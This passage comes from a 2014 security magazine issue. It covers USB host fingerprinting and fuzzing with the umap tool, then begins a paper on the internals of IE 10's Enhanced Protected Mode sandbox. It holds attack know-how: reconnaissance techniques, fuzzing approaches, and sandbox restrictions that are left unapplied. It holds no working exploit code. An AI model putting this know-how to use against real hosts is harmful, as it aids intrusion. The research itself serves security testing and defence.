is crucial in this instance.
Host controller interface (HCI): There are a number of different HCIs that have been
developed over the years, all of which have different capabilities, but the primary
difference is their ability to support devices running at different speeds; they are:
Full control of generated traffic: Many test-equipment-based solutions restrict the
user to generating traffic that conforms to the USB specification. We need full control
of all aspects of any generated traffic, as the host many behave in an unexpected
way if it receives unconventional data, which is what we are hoping to observe.
Class decoders are extremely useful: For each USB device class (e.g. mass storage,
printer), there are separate specification documents that detail the class-specific
communications protocols. Having an application that understands and decodes
these protocols makes understanding the class communication significantly easier.
82 HITB | Issue 10 | january 2014
● oHCI (Open Host Controller Interface)
● eHCI (Enhanced Host Controller Interface)
● uHCI (Universal Host Controller Interface)
● xHCI (Extensible Host Controller Interface)
Host controller driver: This provides a hardware abstraction layer so that the host
can communicate via the controller interface to the hardware.
USB core: The component that performs core functionality such as device enumeration.
Application Security
The enumeration phase is now complete, with the USB device configured and ready to
use. From now until the device is removed, class-specific communication is used between
the device and the host. However, as we will discuss later, there are variations to this
enumeration phase which can be used to fingerprint different host implementations.
The benefit of using both devices is that fully arbitrary USB traffic can be generated
by Facedancer, acting as a USB device, and the responses from the host under test
can be captured by the Packet-Master appliance. However, for the majority of the
techniques described in this paper, just a Facedancer board would suffice.
january 2014 | Issue 10 | HITB 83
Application Security
Class drivers: Once enumeration is complete and control has been passed to a USB
class driver, communication specific to the connected device is processed by the
class driver.
Application software: When a USB device is inserted a host may start an application
specific to the class of that device (e.g. an application that displays photos when a
camera device is connected).
5. Identifying Supported Devices
For USB host vulnerability assessment via fuzzing it is important to establish what
device classes are supported. This is because USB fuzzing is a relatively slow process
– each test case requires the virtual device to be “inserted” and “removed” via
software, resulting in enumeration being performed each time. The USB protocol is
designed to expect a human, rather than a computer, to insert a device, and so timing
delays result in each test case taking several seconds to complete. If functionality
that is not supported by the target host is fuzzed then this can waste large amounts
of testing time.
5.1 USB Device Classes
There are a number of high level USB device classes; these are shown in Table 9.
TABLE 9: USB Device classes
Descriptor Usage Device Interface Both Interface Interface Interface Interface Interface Device Interface Interface Interface Interface Interface Interface Both Interface Both Interface Description
Use class information in the Interface Descriptors
Audio
CDC (Communication and Device Control)
HID (Human Interface Device)
Physical
Image
Printer
Mass Storage
Hub
CDC-Data
Smart Card
Content Security
Video
Personal Healthcare
Audio/Video Devices
Diagnostic Device
Wireless Controller
Miscellaneous
Application Specific
USB device class information can be stored in a number of different places within
the descriptors provided during enumeration. The information is provided in threebyte entries:
● bDeviceClass – the high level device class (e.g. mass storage)
●b
DeviceSubClass – specific information about this device (e.g. SCSI
command set)
● bDeviceProtocol – the protocol used (e.g. bulk transport (BBB))
84 HITB | Issue 10 | january 2014
● De facto use
● RPC
● MMC-5 (ATAPI)
● QIC-157
● UFI
● SFF-8070i
● SCSI
● LSD FS
● IEE 1667
● Vendor specific
For each of these mass storage sub-classes there are also a number of possible protocols:
● CBI with command completion interrupt
● CBI without command completion interrupt
● BBB
● UAS
● Vendor specific
So, as you can see, the potential attack surface of a USB host is enormous; but it is
important to establish which functionality is supported prior to any active fuzz testing.
Some devices, such as the hub in Table 10, store their class information in the device
descriptor.
TABLE 10: Hub class information in a Device descriptor
Field bLength bDescriptorType bcdUSB bDeviceClass bDeviceSubClass bDeviceProtocol Value 18 1
0x0200 0x09 0x00 0x01 Meaning
Descriptor length (including the bLength field)
Device descriptor
Spec version
Hub
Full Speed Hub
Default
However, more commonly, the class information is interface specific and is therefore
stored in the interface descriptor (within a configuration descriptor), as with the
image class device in Table 11.
TABLE 11: Image class information in an Interface descriptor
Field Value bLength 9
bDescriptorType 4
bInterfaceNumber 0
bAlternateSetting 0
bNumberEndpoints 3
bDeviceClass 0x06 bDeviceSubClass 0x01 bDeviceProtocol 0x01 Meaning
Descriptor length (including the bLength field)
Interface descriptor
Number of this interface
Value used to select this alternative setting for the
interface identified in the prior field
Number of endpoints used by this interface
Image
Default
Default
Application Security
Base Class 0x00 0x01 0x02 0x03 0x05 0x06 0x07 0x08 0x09 0x0a 0x0b 0x0d 0x0e 0x0f 0x10 0xdc 0xe0 0xef 0xfe Taking the mass storage class as an example, the following are the available sub-classes:
january 2014 | Issue 10 | HITB 85
Application Security
When emulating specific device types, whether the class information is provided to
the host in the device descriptor or in an interface descriptor depends on the device.
5.2 Enumerating Installed Class Drivers
To identify which device classes are supported by a USB host, emulated (classspecific) virtual devices need to be presented to the host iterating through each
device class, sub-class, and protocol whilst monitoring the enumeration process.
If a device is not supported then the enumeration phase will stop at the “Set
Configuration” command, as shown in Figure 2.
However, if the device is supported then class-specific communication starts after
the “Set Configuration” command, as can be seen in the example of a HID device in
Figure 3 (the class-specific communication is highlighted by the green box).
Figure 2: Enumeration stops at “Set
Configuration” when a device class is not
supportedanalyser
New VID and PID values must be registered with the USB Implementers Forum [USBIF]
and are maintained in a number of public repositories. This information can be used
to perform a brute-force attack against the host to identify any specific drivers that
have been installed; however, this can be a very slow process.
5.3 Other Devices Already Connected
When testing a host that may have other devices, such as an HSPA modem, connected
internally to the USB bus, these can be detected by sniffing the USB bus and looking
for devices that are communicating using different addresses than that of the
attached device, as shown in Figure 4.
Figure 4: A Packet-master capture showing multiple USB devices connected to the same bus
Figure 3: Enumeration continues past
“Set Configuration” when a device class is
supported
One area of future research is to investigate if, using the Facedancer board to
emulate the host to which it is connected, descriptor requests could be sent to these
other devices to identify more information about them. Also, what happens if the
Facedancer is configured to impersonate an already-connected device?
6. Fingerprinting Techniques
TABLE 12: VID and PID information in a Device descriptor
Field bLength bDescriptorType bcdUSB bDeviceClass bDeviceSubClass bDeviceProtocol bMaxPacketSize0 idVendor idProduct 86 HITB | Issue 10 | january 2014
Value Meaning
18 Descriptor length (including the bLength field)
1
Device descriptor
0x0110 Spec version
0x00 Class information stored in Interface descriptor
0x00 Class information stored in Interface descriptor
0x00 Class information stored in Interface descriptor
8
Max EP0 packet size
0x04DA Panasonic Corporation
0x2372 Lumix DMC-FZ10 Camera
6.1 Operating System Identification
Figures 5 and 6 (overleaf) show the start of class-specific communication once the
enumeration phase has been completed for two different hosts. As you can clearly
see, the class-specific commands used and the order in which the commands are
issued are completely different for the two hosts and this technique can therefore
be used to differentiate between different operating systems.
Note: The commands and the order of commands are the same each time a device is
presented to the hosts.
Other examples of unique behaviour of different operating systems:
● Windows 8 (HID) – Three “Get Configuration descriptor” requests (others have two)
● Apple OS X Lion (HID) – “Set Feature” request right after “Set Configuration”
● FreeBSD 5.3 (HID) – “Get Status” request right before “Set Configuration”
Application Security
Device class drivers are also referenced by their vendor ID (VID) and product ID
(PID). If a specific device driver has been installed for a USB device then the host can
reference this driver by using a combination of the class information, the VID and the
PID, which are located in the device descriptor, as shown in Table 12.
One of the targets of this research was to identify operating system and application
information by observing USB stack interactions and sometimes using active techniques
to prompt the host to perform different actions that may reveal useful information.
This section will detail some of the techniques that were developed to do this.
january 2014 | Issue 10 | HITB 87
Application Security
Figure 5: Linux-based TV Set-Top-Box
Figure 6: Windows 8
Figure 9: USB timing information during enumeration
Further research in this area is expected to reveal techniques that will allow for
more granular identification to be performed.
6.2 Application Identification
Applications that use USB devices to provide input (e.g. photo management
applications) can also reveal useful information, as shown in Figures 7 and 8.
Figure 7: gphoto2 (Linux)
Figure 8: “Photos” Metro app (Windows 8)
Across the entire enumeration phase there is a large amount of variance between the
times to enumerate the device. However, if the time is measured between specific
requests e.g. between the requests for String descriptor 0 and String descriptor 2,
something more interesting can be seen:
5002us, 5003us, 5003us, 4999us, 5001us
6.4 Descriptor Types Requested
Figures 7 and 8 not only show that these two applications use different class-specific
commands but the “Device Property” command sent by the host in Figure 8 contains
the following data:
/Windows/6.2.9200 MTPClassDriver/6.2.9200.16384
This is specific information about the version of the operating system running on
the host (Version 6.2 is the Microsoft internal representation for Windows 8 and
9200.16384 is the exact build revision).
6.3 Timing Information
The Packet-master analyser can differentiate between events occurring on the
USB bus down to the microsecond. Figure 9 shows the capture information for five
enumerations with the same device and same host.
88 HITB | Issue 10 | january 2014
Some operating systems have implemented their own USB descriptors —for example
Microsoft has Microsoft OS descriptors (MODs). These were apparently developed for
use with unusual device classes. Devices that support Microsoft OS descriptors must
store a special string descriptor in firmware at the fixed string index of 0xee. The
request is shown in Table 13.
TABLE 13: Microsoft OS descriptor request
bmRequestType bRequest 10000000B GET_DESCRIPTOR wValue 0x03ee wIndex 0x0000 wLength 0x12 Data
Returned String
If a device does not contain a valid string descriptor at index 0xee, it must respond
with a stall packet. If the device does not respond with a stall packet, the system
will issue a single-ended zero reset packet to the device, to help it recover from its
stalled state (this is for Windows XP only).
Application Security
There is a maximum variance of 4 microseconds. Therefore, if the operating system
is known can information be gleaned about the speed of the host? This hypothesis is
still under investigation.
january 2014 | Issue 10 | HITB 89
Application Security
6.5 Responses to Invalid Data
Earlier in the paper we mentioned that the ability to send completely arbitrary USB
packets to the host was required to determine how each host responds when a reply
to one of its requests contains invalid data. Examples of invalid data include:
Figure 11 shows the various USB device class types that umap currently understands.
Figure 11: The USB device classes that umap currently understands
● Maximum and minimum values
● Logically incorrect values
● Missing data
During the research, various behaviours were observed as a result of sending this
data. In some cases different “handled” error conditions occurred; however in many
other situations unhandled errors were observed in the form of application errors,
kernel panics and bug checks. The conclusions drawn from this area of the research
were that invalid data was most useful in fuzzer test-cases for identifying bugs and
potential security vulnerabilities.
7. Umap
A tool was developed to demonstrate many of the techniques described in this paper
and forms the basis for a comprehensive USB security testing tool. Umap is written in
Python and builds on the sample code provided with the Facedancer board.
Figure 10 shows the basic help information.
Figure 10: Umap basic help
Figure 12 shows umap identifying supported classes, sub-classes, and protocols.
Figure 12: Umap identifying supported classes, sub-classes and protocols
Application Security
90 HITB | Issue 10 | january 2014
january 2014 | Issue 10 | HITB 91
Application Security
Figure 13 shows the umap VID/PID lookup capability.
Figure 15: Umap emulating a USB camera
Figure 13: The umap VID/PID lookup facility
Figure 14 shows umap performing operating system identification using some of the
techniques described earlier in this paper.
Figure 14: The umap operating system identification capability
Umap includes a large database of both generic and class-specific fuzzer test-cases,
samples of which are shown in Figures 16 and 17.
Figure 16: Generic USB fuzz test cases
92 HITB | Issue 10 | january 2014
Application Security
Figure 15 shows umap emulating an image class device (a digital stills camera).
january 2014 | Issue 10 | HITB 93
Application Security
Figure 17: Class-specific USB fuzz test cases
8. Conclusions
The goal of this research was to identify ways of revealing configuration information
about a connected USB host. This is useful because it allows us to streamline any
subsequent fuzzing process by identifying supported USB functionality, and to
enumerate operating system and application information that may be useful for
other security testing. The major problem with trying to identify information about
the configuration of the host is that USB is a master–slave relationship and the device
is the slave, so a device cannot query a host.
By emulating specific USB device classes such as mass storage and printer, it was
possible to identify which generic class drivers were supported by the connected
host. This process was refined to also emulate (and therefore identify) supported
sub-classes and protocols. In order to identify non-generic class drivers, which are
referenced by their vendor and product IDs, a brute force approach was demonstrated
which uses the public VID/PID database.
Due to the complexity of the USB protocol there are many different implementations
of USB host functionality. A number of different techniques were developed to
identify a host; these included analysing:
Figure 18 shows umap fuzzing a USB host.
Figure 18: Umap fuzzing a USB host
● The order of descriptor requests
● The number of times different descriptors were requested
● The use of specific USB commands
● Class-specific communication
These techniques demonstrated that the host operating system, and in some cases
applications running on the host, could be identified.
94 HITB | Issue 10 | january 2014
Application Security
A tool called umap was developed during the research to demonstrate these different
techniques and also to perform targeted fuzzing once the information-gathering phase
was complete. Possible uses for umap include Endpoint Protection System configuration
assessment, USB host fuzzing and general host security audit (for USB). ¶
january 2014 | Issue 10 | HITB 95
Application Security
References and Further Reading
Davis, Undermining Security Barriers, media.blackhat.com, <http://media.blackhat.com/bh-us-11/
Davis/BH_US_11-Davis_USB_Slides.pdf>, accessed 6 August 2013
Dominguez Vega, USB Attacks: Fun with Plug and 0wn, labs.mwrinfosecurity.com, <http://labs.
mwrinfosecurity.com/assets/135/mwri_t2-usb-fun-with-plug-and-0wn_2009-10-29.pdf>, accessed
6 August 2013
GoodFET, GoodFET – Facedancer21, goodfet.sourceforge.net, <http://goodfet.sourceforge.net/
hardware/facedancer21/>, accessed 6 August 2013
Goodspeed, Writing a thumbdrive from scratch: Prototyping active disk antiforensics, www.
youtube.com, <http://www.youtube.com/watch?v=D8Im0_KUEf8>, accessed 6 August 2013
Larimer, Beyond Autorun: Exploiting vulnerabilities with removable storage, media.blackhat.com,
<https://media.blackhat.com/bh-dc-11/Larimer/BlackHat_DC_2011_Larimer_Vulnerabiliters_wremoveable_storage-wp.pdf >, accessed 6 August 2013
MOD, Microsoft OS Descriptors, msdn.microsoft.com, <http://msdn.microsoft.com/en-us/library/
windows/hardware/gg463179.aspx>, accessed 6 August 2013
MQP, Packet-Master USB500 AG, www.mqp.com, <http://www.mqp.com/usb500.htm>, accessed
6 August 2013
USBIF, USB Implementers Forum, www.usb.org, < http://www.usb.org/about>, accessed 6 August 2013
Glossary
ATAPI - AT Attachment Packet Interface
BBB - Bulk-only transport (also called BOT)
CBI - Control/Bulk/Interrupt
CDC - Communication and Device Control
eHCI - Enhanced Host Controller Interface
HID - Human Interface Device
HSPA - High Speed Packet Access
IEE 1667 - Protocol for Authentication in Host Attachments of Transient Storage Devices
LSD FS - Lockable Storage Devices Feature Specification
MOD - Microsoft OS descriptor
oHCI - Open Host Controller Interface
PID - Product ID
QIC-157 - Quarter Inch Cartridge (standard for streaming tape)
RPC - Remote Procedure Call
SCSI - Small Computer System Interface
SFF-8070i - ATAPI specification for floppy disks
UAS - USB Attached SCSI
UFI - USB Floppy Interface
uHCI - Universal Host Controller Interface
USBIF - Universal Serial Bus Implementers Forum
USB - Universal Serial Bus
VID - Vendor ID
xHCI - Extensible Host Controller Interface
96 HITB | Issue 10 | january 2014
Diving Into IE 10’s
Enhanced Protected
Mode Sandbox
Mark Vincent Yason, [email protected]
With the release of Internet Explorer 10 in Windows 8, an improved version of IE’s
Protected Mode sandbox, called Enhanced Protected Mode (EPM), was introduced. With
the use of the new AppContainer process isolation mechanism introduced in Windows 8,
EPM aims to further limit the impact of a successful IE compromise by limiting both read
and write access and limiting the capabilities of the sandboxed IE process.
As with other new security features integrated in widely-deployed software, it is just
prudent to look at how EPM works internally and also evaluate its effectiveness. This
presentation aims to provide both by delving deep into the internals and assessing
the security of IE 10’s Enhanced Protected Mode sandbox.
The first part of this presentation will focus on the inner workings of the EPM
sandbox where topics such as the sandbox restrictions in place, the inter-process
communication mechanism in use, the services exposed by the higher-privileged
broker process, and more are discussed. The second part of this presentation will
cover the security aspect of the EPM sandbox where its limitations are assessed and
potential avenues for sandbox escape are discussed.
Finally, in the end of the presentation, an EPM sandbox escape exploit will be
demonstrated. The details of the underlying vulnerability, including the thought
process that went through in discovering it will also be discussed.
1. INTRODUCTION
New security features in widely-deployed software such as the EPM in IE always
deserve a second look from unbiased observers because important questions such as
“how does it work?”, “what can malicious code still do or access once it is running
inside the EPM sandbox?” and “what are the ways to bypass it?” needs to be answered
candidly. Answering these important questions is the goal of this paper.
The first part of this paper (Sandbox Internals) takes a look at how the EPM sandbox
works by discussing what sandbox restrictions are in place and the different
mechanisms that make up the EPM sandbox. The second part of this paper (Sandbox
Security) is where the EPM sandbox limitations/weaknesses and potential avenues
for EPM sandbox escape are discussed. To sum up the main points discussed, a
summary section is provided in the end of each part.
Finally, unless otherwise stated, this paper is based on IE version 10 (specifically,
10.0.9200.16540). And any behaviors discussed are based on IE 10 running in
Enhanced Protected Mode on Windows 8 (x64).
Application Security
One of the goals of Protected Mode since its introduction in IE7 is to prevent an attack
from modifying data and to prevent the installation of persistent malicious code in the
system [1]. However, because Protected Mode does not restrict read access to most
resources and it does not restrict network access [2, 3], attacks can still read and
exfiltrate sensitive information or files from the system. With the release of IE10 in
Windows 8, an improved version of Protected Mode called Enhanced Protected Mode
(EPM) was introduced with one of the objectives being to protect personal information
and corporate assets [4] by further limiting the capabilities of the sandboxed IE.
january 2014 | Issue 10 | HITB 99
Application Security
2. SANDBOX INTERNALS
Understanding how a piece of software works is the first step in figuring out its
limitations and weaknesses. In this first part of the paper we’ll take a look at the
internals of the EPM sandbox. We’ll start by looking at the high-level architecture
which shows how the different sandbox mechanisms work together and then discuss
in detail how each mechanism works.
2.1 ARCHITECTURE
IE10 follows the Loosely-Coupled IE (LCIE) process model introduced in IE8 [5]. In the
LCIE process model, the frame process hosting the browser window (also called the
UI frame) is separate from the tab processes which host the browser tabs. The frame
process is responsible for the lifetime of the tab processes. The tab processes, on
the other hand, are responsible for parsing and rendering content and also host the
browser extensions such as Browser Helper Objects (BHO) and toolbars.
To limit the impact of a successful IE compromise, the tab process which processes
potentially untrusted data is sandboxed. IE10 supports two options for sandboxing
the tab process – Protected Mode which runs the tab process at Low Integrity, and
Enhanced Protected Mode which runs the tab process inside a more restrictive
AppContainer (see section 2.2).
The shim mechanism uses the services exposed by the User Broker COM Object (2.6.1)
to launch an elevated process/COM server if dictated by the elevation policies.
Finally, several Known Broker COM Objects (2.6.2) in the frame process also provide
additional services that are used by the shim mechanism and other components in
the tab process.
For uniformity, the rest of this paper will use the term “broker process” for the
higher-privileged frame process and the term “sandboxed process” for the lowerprivileged tab process.
2.2 SANDBOX RESTRICTIONS
The sandboxed process is mainly restricted via the AppContainer [6, 7, 8, 9]
process isolation feature first introduced in Windows 8. In this new process isolation
mechanism, a process runs in an AppContainer which limits its read/write access,
and also limits what the process can do.
In a very high level, an AppContainer has the following properties:
● Name: A unique name of the AppContainer
● SID (security identifier): AppContainer SID – SID generated from the AppContainer
name using userenv! DeriveAppContainerSidFromAppContainerName()
● Capabilities: Security capabilities [10] of the AppContainer - it is a list of what
processes running in the AppContainer can do or access
In the case of IE’s AppContainer, the AppContainer name is generated using the
format “windows_ie_ac_%03i”. And by default, the capabilities assigned to IE’s
AppContainer are as follows (see Figure 1 overleaf):
To facilitate sharing of data and inter-process message exchange between components
in the tab process and the frame process, a shared memory IPC mechanism (2.5.1) is
used. Additionally, a separate COM IPC (2.5.2) mechanism is used by the sandboxed
process for invoking services exposed by COM objects in the frame process.
A shim mechanism (2.3) in the tab process provides a compatibility layer for browser
extensions to run on a lowprivilege environment, it is also used for forwarding API
calls to the broker in order to support certain functionalities, furthermore, it is also
used to apply elevation policies (2.4) if an operation will result in the launching of a
process or a COM server.
100 HITB | Issue 10 | january 2014
If private network access (2.2.5) is turned on, the following capabilities are
additionally assigned to IE’s AppContainer in order to allow access to private network
resources:
● privateNetworkClientServer (S-1-15-3-3)
● enterpriseAuthentication (S-1-15-3-8)
The broker process calls iertutil!MICSecurityAware_CreateProcess(), an internal IE
function responsible for spawning the sandboxed process in IE’s AppContainer. The
actual spawning of the sandboxed process is done via a call to kernel32!CreateProcesW()
in which the passed lpStartupInfo.lpAttributeList has a SECURITY_CAPABILITIES [11]
attribute to signify that the process will be running in an AppContainer.
At a low level, processes running in an AppContainer are assigned a Lowbox token
which, among other things, has the following information set:
Application Security
● internetExplorer (S-1-15-3-4096)
● internetClient (S-1-15-3-1)
● sharedUserCertificates (S-1-15-3-9)
● location (S-1-15-3-3215430884-1339816292-89257616-1145831019)
● microphone (S-1-15-3-787448254-1207972858-3558633622-1059886964)
● webcam (S-1-15-3-3845273463-1331427702-1186551195-1148109977)
january 2014 | Issue 10 | HITB 101
Application Security
FIGURE 1: IE EPM AppContainer and Capabilities
FIGURE 2: AppContainer ACE in an
AppContainer-specific location
FIGURE 3: internetExplorer capability
ACE in a browser related location
the user’s Documents, Pictures and Videos folder (i.e. C:\Users\<UserName>\
Documents,Pictures,Videos) will not be accessible to the sandboxed process because
they do not have an access control entry for any of the above.
With the additional information stored in the token of an AppContainer process,
additional restrictions and isolation schemes can be enforced by the system. The next
subsections will discuss some of these restrictions and isolation schemes in details.
2.2.1 Securable Object Restrictions
One of the important restrictions afforded by AppContainer is that for an AppContainer
process to access securable objects (such as files and registry keys), the securable
object would need to have an additional access control entry for any of the following:
● The AppContainer
● “ALL APPLICATION PACKAGES” (S-1-15-2-1)
● A capability that matches one of the AppContainer’s capabilities
What this means, for example, is that personal user files such as those stored in
102 HITB | Issue 10 | january 2014
● File System:
◆ %UserProfile%\AppData\Local\Packages\ <AppContainer Name>\AC
● Registry:
◆ HKCU\Software\Classes\Local Settings\ Software\Microsoft\Windows\
CurrentVersion\AppContainer\Storage\ <AppContainer Name>
AppContainer processes are able to access the above locations because they have an
access control entry for the AppContainer (see Figure 2).
The sandboxed IE process can also access browser-related data located outside the
previously described AppContainer locations because they are stored in locations
that have an access control entry for the internetExplorer capability (see Figure 3).
Examples of these locations are:
● File System:
◆ %UserProfile%\AppData\Local\ Microsoft\Feeds (Read access)
◆ %UserProfile%\Favorites (Read/Write access)
● Registry:
◆ HKCU\Software\Microsoft\Feeds (Read access)
◆ A few subkeys of HKCU\Software\Microsoft\Internet Explorer (Read or Read/
Write access)
Application Security
● Token flags – TOKEN_LOWBOX (0x4000) is set
● Integrity – Low Integrity
● Package – AppContainer SID
● Capabilities –Array of Capability SIDs
● Lowbox Number Entry – A structure which links the token with an AppContainer
number (also called Lowbox Number or Lowbox ID), a unique per-session value
that identifies an AppContainer and is used by the system in various AppContainer
isolation/restriction schemes.
There are AppContainer-specific locations which are available for an AppContainer
process for data storage. These locations are as follows:
january 2014 | Issue 10 | HITB 103
Application Security
2.2.2 Object Namespace Isolation
An isolation scheme provided by AppContainer is that processes running in an
AppContainer will have their own object namespace. With this isolation feature,
named objects that will be created by the AppContainer process will be inserted in
the following AppContainer-specific object directory (see Figure 4):
● \Sessions\<Session>\AppContainerNamedObjects\<AppContainer SID>
FIGURE 4: AppContainer-specific object directory
In Windows 8, an additional check was added to restrict the sending of write-type
messages across AppContainers. The additional check involves comparing the
AppContainer number of the processes if their integrity level is equal. This, for
example, prevents the sandboxed IE process from sending write-type messages to
another Windows Store App or to a process which also runs at low integrity but is not
running in an AppContainer (AppContainer number 0 is given to non-AppContainer
processes).
2.2.5 Network Isolation
Object namespace isolation prevents named object squatting [12], a privilege
escalation technique that relies on multiple processes with different privileges
sharing the same object namespace.
2.2.3 Global Atom Table Restrictions
AppContainer processes are also restricted from querying and deleting global atoms.
Querying and deletion is limited to global atoms that are created by processes running
in the same AppContainer or existing global atoms that are referenced (which can
occur via a call to kernel32!GlobalAddAtom()) by processes running in the same
AppContainer. The query restriction is lifted if the ATOM_FLAG_GLOBAL flag is set in
the atom (more details on this is in the reference mentioned below).
More information regarding the atom table changes in Windows 8, including privilege
escalation attacks relating to atoms can be found in Tarjei Mandt’s presentation
"Smashing the Atom: Extraordinary String Based Attacks" [13].
2.2.4 User Interface Privilege Isolation (Uipi) Enhancements
Initially introduced in Windows Vista, User Interface Privilege Isolation (UIPI) [14,
15] prevents a lower integrity process from sending write-type windows messages or
installing hooks in a higher-integrity process. It mitigates shatter attacks [16], which
is another privilege escalation technique that relies on the ability of processes with
different privileges to exchange window messages.
104 HITB | Issue 10 | january 2014
By default, the sandboxed IE process only has the internetClient capability
which means that it can only connect to Internet and public network endpoints.
Connections to private network endpoints such as those that are part of trusted
home and corporate intranets are blocked. Additionally, receiving connections from
Internet, public network and private network endpoints are also blocked.
There are instances where a user needs access to a site hosted on a private network
endpoint but the site is categorized in a security zone in which EPM will be enabled.
For these cases, the user is given an option to enable “private network access”, which
if enabled, will result in the sandboxed process to run in an IE AppContainer that
includes the privateNetworkClientServer and enterpriseAuthentication capability.
2.2.6 Analysis: Unapplied Restrictions/Isolation Mechanisms
Compared to other sandbox implementations, such as the Google Chrome sandbox
[18], there are still well-known sandbox restrictions or isolation mechanisms that IE
EPM does not apply.
The first unapplied restriction is job object [19] restrictions. Using job object
restrictions, a sandboxed process can be restricted from performing several types
of operations, such as preventing access to the clipboard, spawning additional
processes, and preventing the use of USER handles (handles to user interface objects)
owned by process not associated with same job, etc. Though the sandboxed process
is associated with a job, the job object associated to it doesn’t have any strict
restrictions in place.
Also, EPM does not implement window station and desktop isolation [20], therefore,
the sandboxed process can still access the same clipboard used by other processes
associated to the same windows station, and can still send messages to windows
owned by other processes on the same desktop.
Application Security
The query restriction prevents leaking of potentially sensitive information stored
in global atoms while the delete restriction prevents an AppContainer process from
freeing atoms that are referenced by more privileged processes which can be an
opportunity for a sandbox escape.
Internally, in Windows 8, atoms in the global atom table are represented by an
updated nt!_RTL_ATOM_TABLE_ENTRY structure which additionally keeps track
of which AppContainers are referencing the atom. The kernel uses the previously
mentioned AppContainer number (termed as Lowbox ID in the related atom table
entry structures) to identify which AppContainers are referencing a particular atom.
Another restriction provided by AppContainer is network isolation [17]. With
network isolation, the AppContainer needs to have specific capabilities in order
for the AppContainer process to connect to Internet and public network endpoints
(internetClient), connect to and receive connections from Internet and public
network endpoints (internetClientServer), and connect to and receive connections
from private (trusted intranet) network endpoints (privateNetworkClientServer).
There are certain checks [17] that are used by the system to determine whether an
endpoint is classified as part of the Internet/public network or the private network.
january 2014 | Issue 10 | HITB 105
Application Security
Finally, EPM does not use a restricted token [21] which can further restrict its access
to securable resources. Interestingly, Windows 8 allows the use of restricted tokens
in AppContainer processes, giving developers of sandboxed applications the ability
to combine the two restriction/isolation schemes.
Without these restrictions or isolation mechanisms applied, some attacks, mostly
resulting to disclosure of some types of potentially sensitive or personal information
can still be performed by the sandboxed process. Details regarding these attacks are
discussed in the Sandbox Limitations/Weaknesses section (3.1).
2.3 IE SHIMS (COMPATIBILITY LAYER)
For compatibility with existing binary extensions [22], IE includes a shim mechanism
that redirects certain API calls so that they will work on a low-privilege environment.
An example of this is altering a file’s path to point to a writable location such as
“%UserProfile%\AppData\Local\Microsoft\Windows\Temporary
Internet
Files\
Virtualized\<original path>” before calling the actual API.
There are also certain instances in which an API needs to be executed in the context
of the broker in order to support a particular functionality. An example is forwarding
kernel32!CreateFileW() calls to the CShdocvwBroker Known Broker Object (2.6.2)
in order to allow the loading of local files that passes the Mark-of-the-Web (MOTW)
check [23] in EPM.
Additionally, the shim mechanism allows IE to apply elevation policies (2.4) to API
calls that would potentially result in the launching of a process or a COM server.
These APIs are as follows:
When the above APIs are called in the sandboxed process, IE Shims first checks if
the API call needs to be forwarded to the broker process by checking the elevation
policies. If the API call needs to be forwarded to the broker process, via the COM
IPC (2.5.2), the call will be forwarded to the User Broker Object (2.6.1) in the
broker process. The User Broker Object will in turn re-check the API call against the
elevation policies and then execute the API call if allowed by the elevation policies.
The shim mechanism is provided by the ieshims.dll module which sets up a callback
that is called every time a DLL is loaded via the ntdll!LdrRegisterDllNotificatio
n() API. When the DLL load callback is executed, the DLL’s entry point (via LDR_
DATA_TABLE_ENTRY.EntryPoint) is updated to execute ieshims!CShimBindings::s_
DllMainHook() which in turn performs the API hooking and then transfers controls to
the DLL’s original entry point. API hooking is done via import address table patching,
for dynamically resolved API addresses, kernel32!GetProcAddress() is hooked to
return a shim address.
106 HITB | Issue 10 | january 2014
Elevation policies determine how a process or a COM server will be launched and at
what privilege level. As discussed in the previous section, the IE Shims mechanism
uses the elevation policies to determine if certain launch-type API calls will be
executed in the sandboxed process or will be forwarded to the User Broker Object in
the broker process.
Elevation policies are stored in registry keys with the following format:
● HKLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\<GUID>
With each registry key having the following values:
● AppName – For executables: Application executable name
● AppPath – For executables: Application path
● CLSID – For COM servers: COM class CLSID
● Policy – Policy value. Based on Microsoft’s documentation [1], can be any of the
following values:
Policy Description
0
Protected Mode prevents the process from launching.
1
Protected Mode silently launches the broker as a low integrity process.
2 Protected Mode prompts the user for permission to launch the process.
If permission is granted, the process is launched as a medium integrity process.
3
Protected Mode silently launches the broker as a medium integrity process.
Note that if EPM is enabled and if the policy is 1 (low integrity), the process will
actually be launched in the sandboxed process’ AppContainer. If there is no policy
for a particular executable or a COM class, the default policy used is dictated by the
following registry value:
● HKLM\Software\Microsoft\InternetExplorer\LowRights::DefaultElevationPolicy
Internally, in IE Shims, the elevation policy checks are done via ieshims! CProcessE
levationPolicy::GetElevationPolicy(), and in the User Broker Object, the elevation
policy checks are done via ieframe!CProcessElevationPolicy::GetElevationPolicy()
and ieframe!CProcessElevationPolicy::GetElevationPolicyEx().
2.5 INTER-PROCESS COMMUNICATION
Inter-Process Communication (IPC) is the mechanism used by the broker and
sandboxed process for sharing data, exchanging messages and invoking services.
There are two types of IPC mechanism used by IE - shared memory IPC and COM
IPC. Each IPC mechanism is used for a particular purpose and details of each are
discussed in the sections below.
2.5.1 Shared Memory IPC
The shared memory IPC is used by the broker and sandboxed process for sharing data and
exchanging interprocess messages between their components. An example use of the
shared memory IPC is when the CShellBrowser2 component in the sandboxed process
wanted to send a message to the CBrowserFrame component in the broker process.
Application Security
● kernel32.dll!CreateProcessA
● kernel32.dll!CreateProcessW
● kernel32.dll!WinExec
● ole32.dll!CoCreateInstance
● ole32.dll!CoCreateInstanceEx
● ole32.dll!CoGetClassObject
2.4 ELEVATION POLICIES
january 2014 | Issue 10 | HITB 107
Application Security
BROKER INITIALIZATION
Upon broker process startup, three shared memory sections (internally called
Spaces) are created in a private namespace. The name of these shared memory
sections are as follows:
● IsoScope_<broker_pid_hex>\IsoSpaceV2_ScopeTrusted
● IsoScope_<broker_pid_hex>\IsoSpaceV2_ScopeLILNAC
● IsoScope_<broker_pid_hex>\IsoSpaceV2_ScopeUntrusted
The broker process also creates messaging events so that it can be notified if a
message destined to it is available in the shared memory sections. The messaging
events are created in a private namespace with the format “IsoScope_<broker_
pid_hex>\iso_sm_e_<broker_pid_hex>_<broker_iso_process_hex>_<iso_integrity_
hex>”. Where broker_iso_process_hex is the ID of the IsoProcess Artifact (Artifacts
are further discussed below) that contains the broker process information and iso_
integrity_hex is a value pertaining to a trust level (the value 1 is used if the event
can be accessed by an untrusted AppContainer-sandboxed IE process).
SANDBOXED INITIALIZATION
Next, when the sandboxed process starts, the sandboxed process opens the shared
memory sections previously created by the broker process with the following
access rights:
